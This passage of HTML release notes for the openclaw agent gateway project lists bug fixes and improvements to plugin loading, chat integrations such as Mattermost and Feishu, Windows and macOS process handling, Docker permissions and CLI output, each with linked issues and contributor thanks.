<li>Plugins/startup/registry: reuse a Gateway <code>PluginLookUpTable</code> and one manifest registry pass across startup plugin IDs, plugin loading, deferred channel reloads, model pricing, read-only channel defaults, capability/provider/media resolution, manifest contracts, extractors, web fallback discovery, owner maps, and cold provider-discovery caches, with new startup-trace timing/count metrics for installed-index, manifest, startup-plan, and owner-map work. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcaxtr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcaxtr">@mcaxtr</a>.</li>
<li>Mattermost: keep direct-message replies top-level by suppressing reply roots for DM delivery while preserving channel and group thread roots, and derive inbound chat kind from the trusted channel lookup instead of the websocket event channel type. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4198774864" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60115" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60115/hovercard" href="https://github.com/openclaw/openclaw/pull/60115">#60115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4144047176" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55186" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55186/hovercard" href="https://github.com/openclaw/openclaw/pull/55186">#55186</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331558573" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72305" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72305/hovercard" href="https://github.com/openclaw/openclaw/pull/72305">#72305</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333662921" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72659" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72659/hovercard" href="https://github.com/openclaw/openclaw/pull/72659">#72659</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4195267865" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59758" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59758/hovercard" href="https://github.com/openclaw/openclaw/issues/59758">#59758</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4197726401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59981" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59981/hovercard" href="https://github.com/openclaw/openclaw/issues/59981">#59981</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4195702082" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59791" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59791/hovercard" href="https://github.com/openclaw/openclaw/pull/59791">#59791</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4168354725" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57565" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/57565/hovercard" href="https://github.com/openclaw/openclaw/pull/57565">#57565</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jwchmodx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jwchmodx">@jwchmodx</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hnykda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hnykda">@hnykda</a>.</li>
<li>Docker: pre-create <code>/home/node/.openclaw</code> with node ownership and private permissions so first-run Docker Compose named volumes no longer fail startup with EACCES. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4081165640" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48072" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48072/hovercard" href="https://github.com/openclaw/openclaw/pull/48072">#48072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4235354201" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63959" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63959/hovercard" href="https://github.com/openclaw/openclaw/pull/63959">#63959</a>; fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4207166215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61279" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61279/hovercard" href="https://github.com/openclaw/openclaw/issues/61279">#61279</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/timoxue/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/timoxue">@timoxue</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeanibarz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeanibarz">@jeanibarz</a>.</li>
<li>CLI/Gateway: treat local restart probe policy closes for connect, exact <code>device required</code>, pairing, and auth failures as Gateway reachability proof without accepting empty, broad standalone token/password/scope/role, or pair-substring 1008 close reasons. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4086431078" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48771" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48771/hovercard" href="https://github.com/openclaw/openclaw/issues/48771">#48771</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4086615069" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48801" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48801/hovercard" href="https://github.com/openclaw/openclaw/pull/48801">#48801</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4228912213" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63491" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63491/hovercard" href="https://github.com/openclaw/openclaw/issues/63491">#63491</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarsDoge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarsDoge">@MarsDoge</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/genoooool/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/genoooool">@genoooool</a>.</li>
<li>Feishu: send outgoing interactive reply payloads as native cards with clickable buttons while preserving text, media, and document-comment fallbacks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3919571266" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/13175" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/13175/hovercard" href="https://github.com/openclaw/openclaw/issues/13175">#13175</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4177896611" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58298" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58298/hovercard" href="https://github.com/openclaw/openclaw/issues/58298">#58298</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4080155978" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47891" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/47891/hovercard" href="https://github.com/openclaw/openclaw/pull/47891">#47891</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Horacehxw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Horacehxw">@Horacehxw</a>.</li>
<li>Process/Windows: decode command stdout and stderr from raw bytes with console-codepage awareness, while preserving valid UTF-8 output and multibyte characters split across chunks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4102777975" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50519" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50519/hovercard" href="https://github.com/openclaw/openclaw/issues/50519">#50519</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iready/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iready">@iready</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kevinten10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kevinten10">@kevinten10</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangyongjie1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangyongjie1997">@zhangyongjie1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/knightplat-blip/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/knightplat-blip">@knightplat-blip</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heiqishi666/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heiqishi666">@heiqishi666</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slepybear/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slepybear">@slepybear</a>.</li>
<li>Bonjour/Windows: hide the bundled mDNS advertiser's Windows ARP shell probe so Gateway startup no longer flashes command-prompt windows. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4310157936" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70238" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70238/hovercard" href="https://github.com/openclaw/openclaw/issues/70238">#70238</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexandre-leng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexandre-leng">@alexandre-leng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PratikRai0101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PratikRai0101">@PratikRai0101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitypacific/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitypacific">@infinitypacific</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tomerpeled/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tomerpeled">@tomerpeled</a>.</li>
<li>Agents/bootstrap: dedupe hook-injected bootstrap context files by workspace-relative path and store normalized resolved paths so duplicate relative and absolute hook paths no longer depend on the process cwd. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190963394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59344" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59344/hovercard" href="https://github.com/openclaw/openclaw/pull/59344">#59344</a>; fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190804191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59319/hovercard" href="https://github.com/openclaw/openclaw/issues/59319">#59319</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162233538" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56721" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56721/hovercard" href="https://github.com/openclaw/openclaw/pull/56721">#56721</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162249580" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56725" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56725/hovercard" href="https://github.com/openclaw/openclaw/pull/56725">#56725</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4168683400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57587" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/57587/hovercard" href="https://github.com/openclaw/openclaw/pull/57587">#57587</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/koen666/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/koen666">@koen666</a>.</li>
<li>Agents/bootstrap: refresh cached workspace bootstrap snapshots on long-lived main-session turns when <code>AGENTS.md</code>, <code>SOUL.md</code>, <code>MEMORY.md</code>, or <code>TOOLS.md</code> change on disk, while preserving unchanged snapshot identity through the workspace file cache. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245012829" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64871" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64871/hovercard" href="https://github.com/openclaw/openclaw/pull/64871">#64871</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4063325217" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43901" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/43901/hovercard" href="https://github.com/openclaw/openclaw/pull/43901">#43901</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3989354959" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/26497" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/26497/hovercard" href="https://github.com/openclaw/openclaw/issues/26497">#26497</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4000351209" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/28594" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/28594/hovercard" href="https://github.com/openclaw/openclaw/issues/28594">#28594</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4008006931" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/30896" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/30896/hovercard" href="https://github.com/openclaw/openclaw/issues/30896">#30896</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aimqwest/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aimqwest">@aimqwest</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mikejuyoon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mikejuyoon">@mikejuyoon</a>.</li>
<li>macOS Gateway: detect installed-but-unloaded LaunchAgent split-brain states during status, doctor, and restart, and re-bootstrap launchd supervision before falling back to unmanaged listener restarts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4270911583" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67335" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67335/hovercard" href="https://github.com/openclaw/openclaw/issues/67335">#67335</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4125657224" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53475" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53475/hovercard" href="https://github.com/openclaw/openclaw/issues/53475">#53475</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4322280015" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71060" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71060/hovercard" href="https://github.com/openclaw/openclaw/issues/71060">#71060</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4185336537" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58890" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58890/hovercard" href="https://github.com/openclaw/openclaw/issues/58890">#58890</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204966968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60885" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60885/hovercard" href="https://github.com/openclaw/openclaw/issues/60885">#60885</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4319157550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70801" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70801/hovercard" href="https://github.com/openclaw/openclaw/issues/70801">#70801</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ze1tgeist88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ze1tgeist88">@ze1tgeist88</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dafacto/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dafacto">@dafacto</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishutdhar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishutdhar">@vishutdhar</a>.</li>
<li>Plugins/install: treat mirrored core logger dependencies as staged bundled runtime deps so packaged Gateway starts do not crash when the external plugin-runtime-deps root is missing <code>tslog</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331181809" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72228" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72228/hovercard" href="https://github.com/openclaw/openclaw/issues/72228">#72228</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332620459" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72493" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72493/hovercard" href="https://github.com/openclaw/openclaw/pull/72493">#72493</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deepujain/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deepujain">@deepujain</a>.</li>
<li>Build/plugins: preserve active bundled runtime-dependency staging temp directories owned by live build processes so overlapping postbuild runs no longer delete each other's staged deps mid-prune. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331140342" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72220" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72220/hovercard" href="https://github.com/openclaw/openclaw/pull/72220">#72220</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>Plugins/install: hide bundled runtime-dependency npm child windows on Windows across Gateway startup, postinstall, and packaged staging paths so Telegram/Anthropic dependency repair no longer flashes shell windows. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331615103" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72315" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72315/hovercard" href="https://github.com/openclaw/openclaw/issues/72315">#72315</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/athuljayaram/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/athuljayaram">@athuljayaram</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshfeng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshfeng">@joshfeng</a>.</li>
<li>Agents/Windows: normalize lazy agent runtime imports before Node ESM loading so Windows drive-letter <code>subagent-registry</code> runtime paths no longer fail every agent task with <code>ERR_UNSUPPORTED_ESM_URL_SCHEME</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333477433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72636" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72636/hovercard" href="https://github.com/openclaw/openclaw/issues/72636">#72636</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334354906" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72716" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72716/hovercard" href="https://github.com/openclaw/openclaw/pull/72716">#72716</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Andyz-CData/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Andyz-CData">@Andyz-CData</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xialonglee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xialonglee">@xialonglee</a>.</li>
<li>Plugins/Windows: normalize lazy plugin service override imports before Node ESM loading so drive-letter browser-control module paths no longer fail with <code>ERR_UNSUPPORTED_ESM_URL_SCHEME</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332955345" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72573" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72573/hovercard" href="https://github.com/openclaw/openclaw/issues/72573">#72573</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333188067" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72599" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72599/hovercard" href="https://github.com/openclaw/openclaw/pull/72599">#72599</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333023955" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72582" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72582/hovercard" href="https://github.com/openclaw/openclaw/pull/72582">#72582</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/llzzww316/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/llzzww316">@llzzww316</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/feineryonah-byte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/feineryonah-byte">@feineryonah-byte</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WuKongAI-CMU/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WuKongAI-CMU">@WuKongAI-CMU</a>.</li>
<li>Browser/plugins: load <code>playwright-core</code> through the browser runtime shim so packaged installs can run Playwright actions from staged plugin runtime deps after doctor/startup repair. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330902734" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72168" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72168/hovercard" href="https://github.com/openclaw/openclaw/issues/72168">#72168</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331230145" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72238/hovercard" href="https://github.com/openclaw/openclaw/pull/72238">#72238</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zdg1110/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zdg1110">@zdg1110</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>.</li>
<li>Plugins/install: stage bundled plugin runtime dependencies before Gateway startup, drain update restarts, and materialize plugin-owned root chunks in external mirrors so staged deps resolve under native ESM. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330416924" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72058" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72058/hovercard" href="https://github.com/openclaw/openclaw/issues/72058">#72058</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330508233" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72084" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72084/hovercard" href="https://github.com/openclaw/openclaw/pull/72084">#72084</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amnesia106/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amnesia106">@amnesia106</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drvoss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drvoss">@drvoss</a>.</li>
<li>TTS/SecretRef: resolve <code>messages.tts.providers.*.apiKey</code> from the active runtime snapshot so SecretRef-backed MiniMax and other TTS provider keys work in runtime reply/audio paths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289130983" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68690" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68690/hovercard" href="https://github.com/openclaw/openclaw/issues/68690">#68690</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Gateway/install: surface systemd user-bus recovery hints during Linux service activation and retry via the target user scope when <code>systemctl --user</code> reports no-medium bus failures, without letting stale <code>SUDO_USER</code> override <code>sudo -u</code> installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040941886" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39673" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39673/hovercard" href="https://github.com/openclaw/openclaw/issues/39673">#39673</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4067677546" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44417" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44417/hovercard" href="https://github.com/openclaw/openclaw/issues/44417">#44417</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4229610817" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63561" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63561/hovercard" href="https://github.com/openclaw/openclaw/issues/63561">#63561</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Arbor4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Arbor4">@Arbor4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/myrsu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/myrsu">@myrsu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mssteuer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mssteuer">@mssteuer</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/boyuaner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/boyuaner">@boyuaner</a>.</li>
<li>CLI/nodes: make unfiltered <code>openclaw nodes list</code> prefer the effective paired-node view used by <code>nodes status</code> while preserving pending rows, pairing-scope fallback, terminal-safe table rendering, and paired JSON metadata. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077580136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46871" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46871/hovercard" href="https://github.com/openclaw/openclaw/issues/46871">#46871</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4252092457" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65772/hovercard" href="https://github.com/openclaw/openclaw/pull/65772">#65772</a> through the ProjectClownfish <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333343041" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72619" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72619/hovercard" href="https://github.com/openclaw/openclaw/pull/72619">#72619</a> repair. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/skainguyen1412/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/skainguyen1412">@skainguyen1412</a>.</li>
